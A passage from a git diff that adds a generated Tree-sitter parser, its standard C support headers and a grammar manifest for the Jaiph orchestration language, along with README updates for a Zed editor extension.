[anon_sym_if] = ACTIONS(48), + [anon_sym_else] = ACTIONS(48), + [anon_sym_for] = ACTIONS(48), + [anon_sym_in] = ACTIONS(48), + [anon_sym_match] = ACTIONS(48), + [anon_sym_async] = ACTIONS(48), + [anon_sym_returns] = ACTIONS(48), + [anon_sym_not] = ACTIONS(48), + [anon_sym_mock] = ACTIONS(48), + [anon_sym_allow_failure] = ACTIONS(48), + [anon_sym_expect_contain] = ACTIONS(48), + [anon_sym_expect_not_contain] = ACTIONS(48), + [anon_sym_expect_equal] = ACTIONS(48), + [anon_sym_true] = ACTIONS(48), + [anon_sym_false] = ACTIONS(48), + [anon_sym_LBRACE] = ACTIONS(46), + [anon_sym_RBRACE] = ACTIONS(46), + [anon_sym_LPAREN] = ACTIONS(46), + [anon_sym_RPAREN] = ACTIONS(46), + [anon_sym_LBRACK] = ACTIONS(46), + [anon_sym_RBRACK] = ACTIONS(46), + [anon_sym_DOT] = ACTIONS(46), + [anon_sym_COMMA] = ACTIONS(46), + [sym_comment] = ACTIONS(46), + [anon_sym_LT_DASH] = ACTIONS(46), + [anon_sym_DASH_GT] = ACTIONS(46), + [anon_sym_EQ_GT] = ACTIONS(46), + [anon_sym_EQ_EQ] = ACTIONS(46), + [anon_sym_BANG_EQ] = ACTIONS(46), + [anon_sym_EQ_TILDE] = ACTIONS(46), + [anon_sym_BANG_TILDE] = ACTIONS(46), + [anon_sym_EQ] = ACTIONS(48), + [sym_number] = ACTIONS(46), + [sym_qualified_identifier] = ACTIONS(46), + [sym_regex] = ACTIONS(46), + [sym_string] = ACTIONS(48), + [sym_triple_string] = ACTIONS(46), + [sym_backtick_string] = ACTIONS(48), + [anon_sym_BQUOTE_BQUOTE_BQUOTE] = ACTIONS(46), + }, + [7] = { + [ts_builtin_sym_end] = ACTIONS(50), + [sym_identifier] = ACTIONS(52), + [anon_sym_import] = ACTIONS(52), + [anon_sym_export] = ACTIONS(52), + [anon_sym_as] = ACTIONS(52), + [anon_sym_config] = ACTIONS(52), + [anon_sym_channel] = ACTIONS(52), + [anon_sym_script] = ACTIONS(52), + [anon_sym_rule] = ACTIONS(52), + [anon_sym_workflow] = ACTIONS(52), + [anon_sym_test] = ACTIONS(52), + [anon_sym_const] = ACTIONS(52), + [anon_sym_run] = ACTIONS(52), + [anon_sym_ensure] = ACTIONS(52), + [anon_sym_prompt] = ACTIONS(52), + [anon_sym_log] = ACTIONS(52), + [anon_sym_logerr] = ACTIONS(52), + [anon_sym_logwarn] = ACTIONS(52), + [anon_sym_fail] = ACTIONS(52), + [anon_sym_return] = ACTIONS(52), + [anon_sym_send] = ACTIONS(52), + [anon_sym_recover] = ACTIONS(52), + [anon_sym_catch] = ACTIONS(52), + [anon_sym_if] = ACTIONS(52), + [anon_sym_else] = ACTIONS(52), + [anon_sym_for] = ACTIONS(52), + [anon_sym_in] = ACTIONS(52), + [anon_sym_match] = ACTIONS(52), + [anon_sym_async] = ACTIONS(52), + [anon_sym_returns] = ACTIONS(52), + [anon_sym_not] = ACTIONS(52), + [anon_sym_mock] = ACTIONS(52), + [anon_sym_allow_failure] = ACTIONS(52), + [anon_sym_expect_contain] = ACTIONS(52), + [anon_sym_expect_not_contain] = ACTIONS(52), + [anon_sym_expect_equal] = ACTIONS(52), + [anon_sym_true] = ACTIONS(52), + [anon_sym_false] = ACTIONS(52), + [anon_sym_LBRACE] = ACTIONS(50), + [anon_sym_RBRACE] = ACTIONS(50), + [anon_sym_LPAREN] = ACTIONS(50), + [anon_sym_RPAREN] = ACTIONS(50), + [anon_sym_LBRACK] = ACTIONS(50), + [anon_sym_RBRACK] = ACTIONS(50), + [anon_sym_DOT] = ACTIONS(50), + [anon_sym_COMMA] = ACTIONS(50), + [sym_comment] = ACTIONS(50), + [anon_sym_LT_DASH] = ACTIONS(50), + [anon_sym_DASH_GT] = ACTIONS(50), + [anon_sym_EQ_GT] = ACTIONS(50), + [anon_sym_EQ_EQ] = ACTIONS(50), + [anon_sym_BANG_EQ] = ACTIONS(50), + [anon_sym_EQ_TILDE] = ACTIONS(50), + [anon_sym_BANG_TILDE] = ACTIONS(50), + [anon_sym_EQ] = ACTIONS(52), + [sym_number] = ACTIONS(50), + [sym_qualified_identifier] = ACTIONS(50), + [sym_regex] = ACTIONS(50), + [sym_string] = ACTIONS(52), + [sym_triple_string] = ACTIONS(50), + [sym_backtick_string] = ACTIONS(52), + [anon_sym_BQUOTE_BQUOTE_BQUOTE] = ACTIONS(50), + }, + [8] = { + [ts_builtin_sym_end] = ACTIONS(54), + [sym_identifier] = ACTIONS(56), + [anon_sym_import] = ACTIONS(56), + [anon_sym_export] = ACTIONS(56), + [anon_sym_as] = ACTIONS(56), + [anon_sym_config] = ACTIONS(56), + [anon_sym_channel] = ACTIONS(56), + [anon_sym_script] = ACTIONS(56), + [anon_sym_rule] = ACTIONS(56), + [anon_sym_workflow] = ACTIONS(56), + [anon_sym_test] = ACTIONS(56), + [anon_sym_const] = ACTIONS(56), + [anon_sym_run] = ACTIONS(56), + [anon_sym_ensure] = ACTIONS(56), + [anon_sym_prompt] = ACTIONS(56), + [anon_sym_log] = ACTIONS(56), + [anon_sym_logerr] = ACTIONS(56), + [anon_sym_logwarn] = ACTIONS(56), + [anon_sym_fail] = ACTIONS(56), + [anon_sym_return] = ACTIONS(56), + [anon_sym_send] = ACTIONS(56), + [anon_sym_recover] = ACTIONS(56), + [anon_sym_catch] = ACTIONS(56), + [anon_sym_if] = ACTIONS(56), + [anon_sym_else] = ACTIONS(56), + [anon_sym_for] = ACTIONS(56), + [anon_sym_in] = ACTIONS(56), + [anon_sym_match] = ACTIONS(56), + [anon_sym_async] = ACTIONS(56), + [anon_sym_returns] = ACTIONS(56), + [anon_sym_not] = ACTIONS(56), + [anon_sym_mock] = ACTIONS(56), + [anon_sym_allow_failure] = ACTIONS(56), + [anon_sym_expect_contain] = ACTIONS(56), + [anon_sym_expect_not_contain] = ACTIONS(56), + [anon_sym_expect_equal] = ACTIONS(56), + [anon_sym_true] = ACTIONS(56), + [anon_sym_false] = ACTIONS(56), + [anon_sym_LBRACE] = ACTIONS(54), + [anon_sym_RBRACE] = ACTIONS(54), + [anon_sym_LPAREN] = ACTIONS(54), + [anon_sym_RPAREN] = ACTIONS(54), + [anon_sym_LBRACK] = ACTIONS(54), + [anon_sym_RBRACK] = ACTIONS(54), + [anon_sym_DOT] = ACTIONS(54), + [anon_sym_COMMA] = ACTIONS(54), + [sym_comment] = ACTIONS(54), + [anon_sym_LT_DASH] = ACTIONS(54), + [anon_sym_DASH_GT] = ACTIONS(54), + [anon_sym_EQ_GT] = ACTIONS(54), + [anon_sym_EQ_EQ] = ACTIONS(54), + [anon_sym_BANG_EQ] = ACTIONS(54), + [anon_sym_EQ_TILDE] = ACTIONS(54), + [anon_sym_BANG_TILDE] = ACTIONS(54), + [anon_sym_EQ] = ACTIONS(56), + [sym_number] = ACTIONS(54), + [sym_qualified_identifier] = ACTIONS(54), + [sym_regex] = ACTIONS(54), + [sym_string] = ACTIONS(56), + [sym_triple_string] = ACTIONS(54), + [sym_backtick_string] = ACTIONS(56), + [anon_sym_BQUOTE_BQUOTE_BQUOTE] = ACTIONS(54), + }, +}; + +static const uint16_t ts_small_parse_table[] = { + [0] = 3, + ACTIONS(58), 1, + anon_sym_BQUOTE_BQUOTE_BQUOTE, + ACTIONS(60), 1, + sym_fence_language, + ACTIONS(62), 1, + sym_fence_content, + [10] = 2, + ACTIONS(64), 1, + anon_sym_BQUOTE_BQUOTE_BQUOTE, + ACTIONS(66), 1, + sym_fence_content, + [17] = 1, + ACTIONS(68), 1, + ts_builtin_sym_end, + [21] = 1, + ACTIONS(70), 1, + anon_sym_BQUOTE_BQUOTE_BQUOTE, + [25] = 1, + ACTIONS(72), 1, + anon_sym_BQUOTE_BQUOTE_BQUOTE, +}; + +static const uint32_t ts_small_parse_table_map[] = { + [SMALL_STATE(9)] = 0, + [SMALL_STATE(10)] = 10, + [SMALL_STATE(11)] = 17, + [SMALL_STATE(12)] = 21, + [SMALL_STATE(13)] = 25, +}; + +static const TSParseActionEntry ts_parse_actions[] = { + [0] = {.entry = {.count = 0, .reusable = false}}, + [1] = {.entry = {.count = 1, .reusable = false}}, RECOVER(), + [3] = {.entry = {.count = 1, .reusable = true}}, REDUCE(sym_source_file, 0, 0, 0), + [5] = {.entry = {.count = 1, .reusable = false}}, SHIFT(2), + [7] = {.entry = {.count = 1, .reusable = true}}, SHIFT(2), + [9] = {.entry = {.count = 1, .reusable = true}}, SHIFT(4), + [11] = {.entry = {.count = 1, .reusable = false}}, SHIFT(4), + [13] = {.entry = {.count = 1, .reusable = true}}, SHIFT(9), + [15] = {.entry = {.count = 1, .reusable = true}}, REDUCE(sym_source_file, 1, 0, 0), + [17] = {.entry = {.count = 1, .reusable = false}}, SHIFT(3), + [19] = {.entry = {.count = 1, .reusable = true}}, SHIFT(3), + [21] = {.entry = {.count = 1, .reusable = true}}, REDUCE(aux_sym_source_file_repeat1, 2, 0, 0), + [23] = {.entry = {.count = 2, .reusable = false}}, REDUCE(aux_sym_source_file_repeat1, 2, 0, 0), SHIFT_REPEAT(3), + [26] = {.entry = {.count = 2, .reusable = true}}, REDUCE(aux_sym_source_file_repeat1, 2, 0, 0), SHIFT_REPEAT(3), + [29] = {.entry = {.count = 2, .reusable = true}}, REDUCE(aux_sym_source_file_repeat1, 2, 0, 0), SHIFT_REPEAT(4), + [32] = {.entry = {.count = 2, .reusable = false}}, REDUCE(aux_sym_source_file_repeat1, 2, 0, 0), SHIFT_REPEAT(4), + [35] = {.entry = {.count = 2, .reusable = true}}, REDUCE(aux_sym_source_file_repeat1, 2, 0, 0), SHIFT_REPEAT(9), + [38] = {.entry = {.count = 1, .reusable = true}}, REDUCE(sym_operator, 1, 0, 0), + [40] = {.entry = {.count = 1, .reusable = false}}, REDUCE(sym_operator, 1, 0, 0), + [42] = {.entry = {.count = 1, .reusable = true}}, REDUCE(sym_fenced_block, 2, 0, 0), + [44] = {.entry = {.count = 1, .reusable = false}}, REDUCE(sym_fenced_block, 2, 0, 0), + [46] = {.entry = {.count = 1, .reusable = true}}, REDUCE(sym_fenced_block, 3, 0, 1), + [48] = {.entry = {.count = 1, .reusable = false}}, REDUCE(sym_fenced_block, 3, 0, 1), + [50] = {.entry = {.count = 1, .reusable = true}}, REDUCE(sym_fenced_block, 3, 0, 2), + [52] = {.entry = {.count = 1, .reusable = false}}, REDUCE(sym_fenced_block, 3, 0, 2), + [54] = {.entry = {.count = 1, .reusable = true}}, REDUCE(sym_fenced_block, 4, 0, 3), + [56] = {.entry = {.count = 1, .reusable = false}}, REDUCE(sym_fenced_block, 4, 0, 3), + [58] = {.entry = {.count = 1, .reusable = false}}, SHIFT(5), + [60] = {.entry = {.count = 1, .reusable = true}}, SHIFT(10), + [62] = {.entry = {.count = 1, .reusable = false}}, SHIFT(12), + [64] = {.entry = {.count = 1, .reusable = false}}, SHIFT(6), + [66] = {.entry = {.count = 1, .reusable = true}}, SHIFT(13), + [68] = {.entry = {.count = 1, .reusable = true}}, ACCEPT_INPUT(), + [70] = {.entry = {.count = 1, .reusable = true}}, SHIFT(7), + [72] = {.entry = {.count = 1, .reusable = true}}, SHIFT(8), +}; + +#ifdef __cplusplus +extern "C" { +#endif +#ifdef TREE_SITTER_HIDE_SYMBOLS +#define TS_PUBLIC +#elif defined(_WIN32) +#define TS_PUBLIC __declspec(dllexport) +#else +#define TS_PUBLIC __attribute__((visibility("default"))) +#endif + +TS_PUBLIC const TSLanguage *tree_sitter_jaiph(void) { + static const TSLanguage language = { + .version = LANGUAGE_VERSION, + .symbol_count = SYMBOL_COUNT, + .alias_count = ALIAS_COUNT, + .token_count = TOKEN_COUNT, + .external_token_count = EXTERNAL_TOKEN_COUNT, + .state_count = STATE_COUNT, + .large_state_count = LARGE_STATE_COUNT, + .production_id_count = PRODUCTION_ID_COUNT, + .field_count = FIELD_COUNT, + .max_alias_sequence_length = MAX_ALIAS_SEQUENCE_LENGTH, + .parse_table = &ts_parse_table[0][0], + .small_parse_table = ts_small_parse_table, + .small_parse_table_map = ts_small_parse_table_map, + .parse_actions = ts_parse_actions, + .symbol_names = ts_symbol_names, + .field_names = ts_field_names, + .field_map_slices = ts_field_map_slices, + .field_map_entries = ts_field_map_entries, + .symbol_metadata = ts_symbol_metadata, + .public_symbol_map = ts_symbol_map, + .alias_map = ts_non_terminal_alias_map, + .alias_sequences = &ts_alias_sequences[0][0], + .lex_modes = ts_lex_modes, + .lex_fn = ts_lex, + .keyword_lex_fn = ts_lex_keywords, + .keyword_capture_token = sym_identifier, + .primary_state_ids = ts_primary_state_ids, + }; + return &language; +} +#ifdef __cplusplus +} +#endif diff --git a/grammars/tree-sitter-jaiph/src/tree_sitter/alloc.h b/grammars/tree-sitter-jaiph/src/tree_sitter/alloc.h new file mode 100644 index 00000000..1abdd120 --- /dev/null +++ b/grammars/tree-sitter-jaiph/src/tree_sitter/alloc.h @@ -0,0 +1,54 @@ +#ifndef TREE_SITTER_ALLOC_H_ +#define TREE_SITTER_ALLOC_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include +#include + +// Allow clients to override allocation functions +#ifdef TREE_SITTER_REUSE_ALLOCATOR + +extern void *(*ts_current_malloc)(size_t size); +extern void *(*ts_current_calloc)(size_t count, size_t size); +extern void *(*ts_current_realloc)(void *ptr, size_t size); +extern void (*ts_current_free)(void *ptr); + +#ifndef ts_malloc +#define ts_malloc ts_current_malloc +#endif +#ifndef ts_calloc +#define ts_calloc ts_current_calloc +#endif +#ifndef ts_realloc +#define ts_realloc ts_current_realloc +#endif +#ifndef ts_free +#define ts_free ts_current_free +#endif + +#else + +#ifndef ts_malloc +#define ts_malloc malloc +#endif +#ifndef ts_calloc +#define ts_calloc calloc +#endif +#ifndef ts_realloc +#define ts_realloc realloc +#endif +#ifndef ts_free +#define ts_free free +#endif + +#endif + +#ifdef __cplusplus +} +#endif + +#endif // TREE_SITTER_ALLOC_H_ diff --git a/grammars/tree-sitter-jaiph/src/tree_sitter/array.h b/grammars/tree-sitter-jaiph/src/tree_sitter/array.h new file mode 100644 index 00000000..a17a574f --- /dev/null +++ b/grammars/tree-sitter-jaiph/src/tree_sitter/array.h @@ -0,0 +1,291 @@ +#ifndef TREE_SITTER_ARRAY_H_ +#define TREE_SITTER_ARRAY_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "./alloc.h" + +#include +#include +#include +#include +#include + +#ifdef _MSC_VER +#pragma warning(push) +#pragma warning(disable : 4101) +#elif defined(__GNUC__) || defined(__clang__) +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wunused-variable" +#endif + +#define Array(T) \ + struct { \ + T *contents; \ + uint32_t size; \ + uint32_t capacity; \ + } + +/// Initialize an array. +#define array_init(self) \ + ((self)->size = 0, (self)->capacity = 0, (self)->contents = NULL) + +/// Create an empty array. +#define array_new() \ + { NULL, 0, 0 } + +/// Get a pointer to the element at a given `index` in the array. +#define array_get(self, _index) \ + (assert((uint32_t)(_index) < (self)->size), &(self)->contents[_index]) + +/// Get a pointer to the first element in the array. +#define array_front(self) array_get(self, 0) + +/// Get a pointer to the last element in the array. +#define array_back(self) array_get(self, (self)->size - 1) + +/// Clear the array, setting its size to zero. Note that this does not free any +/// memory allocated for the array's contents. +#define array_clear(self) ((self)->size = 0) + +/// Reserve `new_capacity` elements of space in the array. If `new_capacity` is +/// less than the array's current capacity, this function has no effect. +#define array_reserve(self, new_capacity) \ + _array__reserve((Array *)(self), array_elem_size(self), new_capacity) + +/// Free any memory allocated for this array. Note that this does not free any +/// memory allocated for the array's contents. +#define array_delete(self) _array__delete((Array *)(self)) + +/// Push a new `element` onto the end of the array. +#define array_push(self, element) \ + (_array__grow((Array *)(self), 1, array_elem_size(self)), \ + (self)->contents[(self)->size++] = (element)) + +/// Increase the array's size by `count` elements. +/// New elements are zero-initialized. +#define array_grow_by(self, count) \ + do { \ + if ((count) == 0) break; \ + _array__grow((Array *)(self), count, array_elem_size(self)); \ + memset((self)->contents + (self)->size, 0, (count) * array_elem_size(self)); \ + (self)->size += (count); \ + } while (0) + +/// Append all elements from one array to the end of another. +#define array_push_all(self, other) \ + array_extend((self), (other)->size, (other)->contents) + +/// Append `count` elements to the end of the array, reading their values from the +/// `contents` pointer. +#define array_extend(self, count, contents) \ + _array__splice( \ + (Array *)(self), array_elem_size(self), (self)->size, \ + 0, count, contents \ + ) + +/// Remove `old_count` elements from the array starting at the given `index`. At +/// the same index, insert `new_count` new elements, reading their values from the +/// `new_contents` pointer. +#define array_splice(self, _index, old_count, new_count, new_contents) \ + _array__splice( \ + (Array *)(self), array_elem_size(self), _index, \ + old_count, new_count, new_contents \ + ) + +/// Insert one `element` into the array at the given `index`. +#define array_insert(self, _index, element) \ + _array__splice((Array *)(self), array_elem_size(self), _index, 0, 1, &(element)) + +/// Remove one element from the array at the given `index`. +#define array_erase(self, _index) \ + _array__erase((Array *)(self), array_elem_size(self), _index) + +/// Pop the last element off the array, returning the element by value. +#define array_pop(self) ((self)->contents[--(self)->size]) + +/// Assign the contents of one array to another, reallocating if necessary. +#define array_assign(self, other) \ + _array__assign((Array *)(self), (const Array *)(other), array_elem_size(self)) + +/// Swap one array with another +#define array_swap(self, other) \ + _array__swap((Array *)(self), (Array *)(other)) + +/// Get the size of the array contents +#define array_elem_size(self) (sizeof *(self)->contents) + +/// Search a sorted array for a given `needle` value, using the given `compare` +/// callback to determine the order. +/// +/// If an existing element is found to be equal to `needle`, then the `index` +/// out-parameter is set to the existing value's index, and the `exists` +/// out-parameter is set to true. Otherwise, `index` is set to an index where +/// `needle` should be inserted in order to preserve the sorting, and `exists` +/// is set to false. +#define array_search_sorted_with(self, compare, needle, _index, _exists) \ + _array__search_sorted(self, 0, compare, , needle, _index, _exists) + +/// Search a sorted array for a given `needle` value, using integer comparisons +/// of a given struct field (specified with a leading dot) to determine the order. +/// +/// See also `array_search_sorted_with`. +#define array_search_sorted_by(self, field, needle, _index, _exists) \ + _array__search_sorted(self, 0, _compare_int, field, needle, _index, _exists) + +/// Insert a given `value` into a sorted array, using the given `compare` +/// callback to determine the order. +#define array_insert_sorted_with(self, compare, value) \ + do { \ + unsigned _index, _exists; \ + array_search_sorted_with(self, compare, &(value), &_index, &_exists); \ + if (!_exists) array_insert(self, _index, value); \ + } while (0) + +/// Insert a given `value` into a sorted array, using integer comparisons of +/// a given struct field (specified with a leading dot) to determine the order. +/// +/// See also `array_search_sorted_by`. +#define array_insert_sorted_by(self, field, value) \ + do { \ + unsigned _index, _exists; \ + array_search_sorted_by(self, field, (value) field, &_index, &_exists); \ + if (!_exists) array_insert(self, _index, value); \ + } while (0) + +// Private + +typedef Array(void) Array; + +/// This is not what you're looking for, see `array_delete`. +static inline void _array__delete(Array *self) { + if (self->contents) { + ts_free(self->contents); + self->contents = NULL; + self->size = 0; + self->capacity = 0; + } +} + +/// This is not what you're looking for, see `array_erase`. +static inline void _array__erase(Array *self, size_t element_size, + uint32_t index) { + assert(index < self->size); + char *contents = (char *)self->contents; + memmove(contents + index * element_size, contents + (index + 1) * element_size, + (self->size - index - 1) * element_size); + self->size--; +} + +/// This is not what you're looking for, see `array_reserve`. +static inline void _array__reserve(Array *self, size_t element_size, uint32_t new_capacity) { + if (new_capacity > self->capacity) { + if (self->contents) { + self->contents = ts_realloc(self->contents, new_capacity * element_size); + } else { + self->contents = ts_malloc(new_capacity * element_size); + } + self->capacity = new_capacity; + } +} + +/// This is not what you're looking for, see `array_assign`. +static inline void _array__assign(Array *self, const Array *other, size_t element_size) { + _array__reserve(self, element_size, other->size); + self->size = other->size; + memcpy(self->contents, other->contents, self->size * element_size); +} + +/// This is not what you're looking for, see `array_swap`. +static inline void _array__swap(Array *self, Array *other) { + Array swap = *other; + *other = *self; + *self = swap; +} + +/// This is not what you're looking for, see `array_push` or `array_grow_by`. +static inline void _array__grow(Array *self, uint32_t count, size_t element_size) { + uint32_t new_size = self->size + count; + if (new_size > self->capacity) { + uint32_t new_capacity = self->capacity * 2; + if (new_capacity < 8) new_capacity = 8; + if (new_capacity < new_size) new_capacity = new_size; + _array__reserve(self, element_size, new_capacity); + } +} + +/// This is not what you're looking for, see `array_splice`. +static inline void _array__splice(Array *self, size_t element_size, + uint32_t index, uint32_t old_count, + uint32_t new_count, const void *elements) { + uint32_t new_size = self->size + new_count - old_count; + uint32_t old_end = index + old_count; + uint32_t new_end = index + new_count; + assert(old_end <= self->size); + + _array__reserve(self, element_size, new_size); + + char *contents = (char *)self->contents; + if (self->size > old_end) { + memmove( + contents + new_end * element_size, + contents + old_end * element_size, + (self->size - old_end) * element_size + ); + } + if (new_count > 0) { + if (elements) { + memcpy( + (contents + index * element_size), + elements, + new_count * element_size + ); + } else { + memset( + (contents + index * element_size), + 0, + new_count * element_size + ); + } + } + self->size += new_count - old_count; +} + +/// A binary search routine, based on Rust's `std::slice::binary_search_by`. +/// This is not what you're looking for, see `array_search_sorted_with` or `array_search_sorted_by`. +#define _array__search_sorted(self, start, compare, suffix, needle, _index, _exists) \ + do { \ + *(_index) = start; \ + *(_exists) = false; \ + uint32_t size = (self)->size - *(_index); \ + if (size == 0) break; \ + int comparison; \ + while (size > 1) { \ + uint32_t half_size = size / 2; \ + uint32_t mid_index = *(_index) + half_size; \ + comparison = compare(&((self)->contents[mid_index] suffix), (needle)); \ + if (comparison <= 0) *(_index) = mid_index; \ + size -= half_size; \ + } \ + comparison = compare(&((self)->contents[*(_index)] suffix), (needle)); \ + if (comparison == 0) *(_exists) = true; \ + else if (comparison < 0) *(_index) += 1; \ + } while (0) + +/// Helper macro for the `_sorted_by` routines below. This takes the left (existing) +/// parameter by reference in order to work with the generic sorting function above. +#define _compare_int(a, b) ((int)*(a) - (int)(b)) + +#ifdef _MSC_VER +#pragma warning(pop) +#elif defined(__GNUC__) || defined(__clang__) +#pragma GCC diagnostic pop +#endif + +#ifdef __cplusplus +} +#endif + +#endif // TREE_SITTER_ARRAY_H_ diff --git a/grammars/tree-sitter-jaiph/src/tree_sitter/parser.h b/grammars/tree-sitter-jaiph/src/tree_sitter/parser.h new file mode 100644 index 00000000..799f599b --- /dev/null +++ b/grammars/tree-sitter-jaiph/src/tree_sitter/parser.h @@ -0,0 +1,266 @@ +#ifndef TREE_SITTER_PARSER_H_ +#define TREE_SITTER_PARSER_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include +#include + +#define ts_builtin_sym_error ((TSSymbol)-1) +#define ts_builtin_sym_end 0 +#define TREE_SITTER_SERIALIZATION_BUFFER_SIZE 1024 + +#ifndef TREE_SITTER_API_H_ +typedef uint16_t TSStateId; +typedef uint16_t TSSymbol; +typedef uint16_t TSFieldId; +typedef struct TSLanguage TSLanguage; +#endif + +typedef struct { + TSFieldId field_id; + uint8_t child_index; + bool inherited; +} TSFieldMapEntry; + +typedef struct { + uint16_t index; + uint16_t length; +} TSFieldMapSlice; + +typedef struct { + bool visible; + bool named; + bool supertype; +} TSSymbolMetadata; + +typedef struct TSLexer TSLexer; + +struct TSLexer { + int32_t lookahead; + TSSymbol result_symbol; + void (*advance)(TSLexer *, bool); + void (*mark_end)(TSLexer *); + uint32_t (*get_column)(TSLexer *); + bool (*is_at_included_range_start)(const TSLexer *); + bool (*eof)(const TSLexer *); + void (*log)(const TSLexer *, const char *, ...); +}; + +typedef enum { + TSParseActionTypeShift, + TSParseActionTypeReduce, + TSParseActionTypeAccept, + TSParseActionTypeRecover, +} TSParseActionType; + +typedef union { + struct { + uint8_t type; + TSStateId state; + bool extra; + bool repetition; + } shift; + struct { + uint8_t type; + uint8_t child_count; + TSSymbol symbol; + int16_t dynamic_precedence; + uint16_t production_id; + } reduce; + uint8_t type; +} TSParseAction; + +typedef struct { + uint16_t lex_state; + uint16_t external_lex_state; +} TSLexMode; + +typedef union { + TSParseAction action; + struct { + uint8_t count; + bool reusable; + } entry; +} TSParseActionEntry; + +typedef struct { + int32_t start; + int32_t end; +} TSCharacterRange; + +struct TSLanguage { + uint32_t version; + uint32_t symbol_count; + uint32_t alias_count; + uint32_t token_count; + uint32_t external_token_count; + uint32_t state_count; + uint32_t large_state_count; + uint32_t production_id_count; + uint32_t field_count; + uint16_t max_alias_sequence_length; + const uint16_t *parse_table; + const uint16_t *small_parse_table; + const uint32_t *small_parse_table_map; + const TSParseActionEntry *parse_actions; + const char * const *symbol_names; + const char * const *field_names; + const TSFieldMapSlice *field_map_slices; + const TSFieldMapEntry *field_map_entries; + const TSSymbolMetadata *symbol_metadata; + const TSSymbol *public_symbol_map; + const uint16_t *alias_map; + const TSSymbol *alias_sequences; + const TSLexMode *lex_modes; + bool (*lex_fn)(TSLexer *, TSStateId); + bool (*keyword_lex_fn)(TSLexer *, TSStateId); + TSSymbol keyword_capture_token; + struct { + const bool *states; + const TSSymbol *symbol_map; + void *(*create)(void); + void (*destroy)(void *); + bool (*scan)(void *, TSLexer *, const bool *symbol_whitelist); + unsigned (*serialize)(void *, char *); + void (*deserialize)(void *, const char *, unsigned); + } external_scanner; + const TSStateId *primary_state_ids; +}; + +static inline bool set_contains(TSCharacterRange *ranges, uint32_t len, int32_t lookahead) { + uint32_t index = 0; + uint32_t size = len - index; + while (size > 1) { + uint32_t half_size = size / 2; + uint32_t mid_index = index + half_size; + TSCharacterRange *range = &ranges[mid_index]; + if (lookahead >= range->start && lookahead <= range->end) { + return true; + } else if (lookahead > range->end) { + index = mid_index; + } + size -= half_size; + } + TSCharacterRange *range = &ranges[index]; + return (lookahead >= range->start && lookahead <= range->end); +} + +/* + * Lexer Macros + */ + +#ifdef _MSC_VER +#define UNUSED __pragma(warning(suppress : 4101)) +#else +#define UNUSED __attribute__((unused)) +#endif + +#define START_LEXER() \ + bool result = false; \ + bool skip = false; \ + UNUSED \ + bool eof = false; \ + int32_t lookahead; \ + goto start; \ + next_state: \ + lexer->advance(lexer, skip); \ + start: \ + skip = false; \ + lookahead = lexer->lookahead; + +#define ADVANCE(state_value) \ + { \ + state = state_value; \ + goto next_state; \ + } + +#define ADVANCE_MAP(...) \ + { \ + static const uint16_t map[] = { __VA_ARGS__ }; \ + for (uint32_t i = 0; i < sizeof(map) / sizeof(map[0]); i += 2) { \ + if (map[i] == lookahead) { \ + state = map[i + 1]; \ + goto next_state; \ + } \ + } \ + } + +#define SKIP(state_value) \ + { \ + skip = true; \ + state = state_value; \ + goto next_state; \ + } + +#define ACCEPT_TOKEN(symbol_value) \ + result = true; \ + lexer->result_symbol = symbol_value; \ + lexer->mark_end(lexer); + +#define END_STATE() return result; + +/* + * Parse Table Macros + */ + +#define SMALL_STATE(id) ((id) - LARGE_STATE_COUNT) + +#define STATE(id) id + +#define ACTIONS(id) id + +#define SHIFT(state_value) \ + {{ \ + .shift = { \ + .type = TSParseActionTypeShift, \ + .state = (state_value) \ + } \ + }} + +#define SHIFT_REPEAT(state_value) \ + {{ \ + .shift = { \ + .type = TSParseActionTypeShift, \ + .state = (state_value), \ + .repetition = true \ + } \ + }} + +#define SHIFT_EXTRA() \ + {{ \ + .shift = { \ + .type = TSParseActionTypeShift, \ + .extra = true \ + } \ + }} + +#define REDUCE(symbol_name, children, precedence, prod_id) \ + {{ \ + .reduce = { \ + .type = TSParseActionTypeReduce, \ + .symbol = symbol_name, \ + .child_count = children, \ + .dynamic_precedence = precedence, \ + .production_id = prod_id \ + }, \ + }} + +#define RECOVER() \ + {{ \ + .type = TSParseActionTypeRecover \ + }} + +#define ACCEPT_INPUT() \ + {{ \ + .type = TSParseActionTypeAccept \ + }} + +#ifdef __cplusplus +} +#endif + +#endif // TREE_SITTER_PARSER_H_ diff --git a/grammars/tree-sitter-jaiph/tree-sitter.json b/grammars/tree-sitter-jaiph/tree-sitter.json new file mode 100644 index 00000000..ef18139d --- /dev/null +++ b/grammars/tree-sitter-jaiph/tree-sitter.json @@ -0,0 +1,19 @@ +{ + "grammars": [ + { + "name": "jaiph", + "camelcase": "Jaiph", + "scope": "source.jaiph", + "file-types": ["jh"] + } + ], + "metadata": { + "version": "0.1.0", + "license": "MIT", + "description": "Tree-sitter grammar for the Jaiph orchestration language", + "authors": [{ "name": "Jaiph contributors" }], + "links": { + "repository": "https://github.com/jaiphlang/jaiph" + } + } +} diff --git a/plugins/README.md b/plugins/README.md index 2830cba4..3520504b 100644 --- a/plugins/README.md +++ b/plugins/README.md @@ -5,7 +5,9 @@ Jaiph editor integrations live in this monorepo so language changes and highligh | Path | Product | |------|---------| | [`vscode/`](vscode/) | VS Code / Cursor extension (TextMate + CLI diagnostics/format) | -| [`zed/`](zed/) | Zed extension (Tree-sitter; scaffold pending queue task) | +| [`zed/`](zed/) | Zed extension (Tree-sitter highlights/injections) | + +The Zed extension is backed by the Tree-sitter grammar at [`../grammars/tree-sitter-jaiph/`](../grammars/tree-sitter-jaiph/) (not under `plugins/` — it is a standalone grammar package that any Tree-sitter host can consume, and `plugins/zed/extension.toml` pins it by repository + revision). CI install for other repositories lives at [`../actions/setup-jaiph/`](../actions/setup-jaiph/) (not under `plugins/` — GitHub Actions resolve as `jaiphlang/jaiph/actions/setup-jaiph@`). diff --git a/plugins/zed/.gitignore b/plugins/zed/.gitignore new file mode 100644 index 00000000..504afef8 --- /dev/null +++ b/plugins/zed/.gitignore @@ -0,0 +1,2 @@ +node_modules/ +package-lock.json diff --git a/plugins/zed/README.md b/plugins/zed/README.md index 13928adf..419fb79e 100644 --- a/plugins/zed/README.md +++ b/plugins/zed/README.md @@ -1,3 +1,89 @@ # Jaiph for Zed -Placeholder. Implement via the QUEUE task that creates a Zed language extension under this directory (`extension.toml`, `languages/jaiph/`, Tree-sitter grammar pin). +Tree-sitter syntax highlighting for Jaiph (`.jh` and 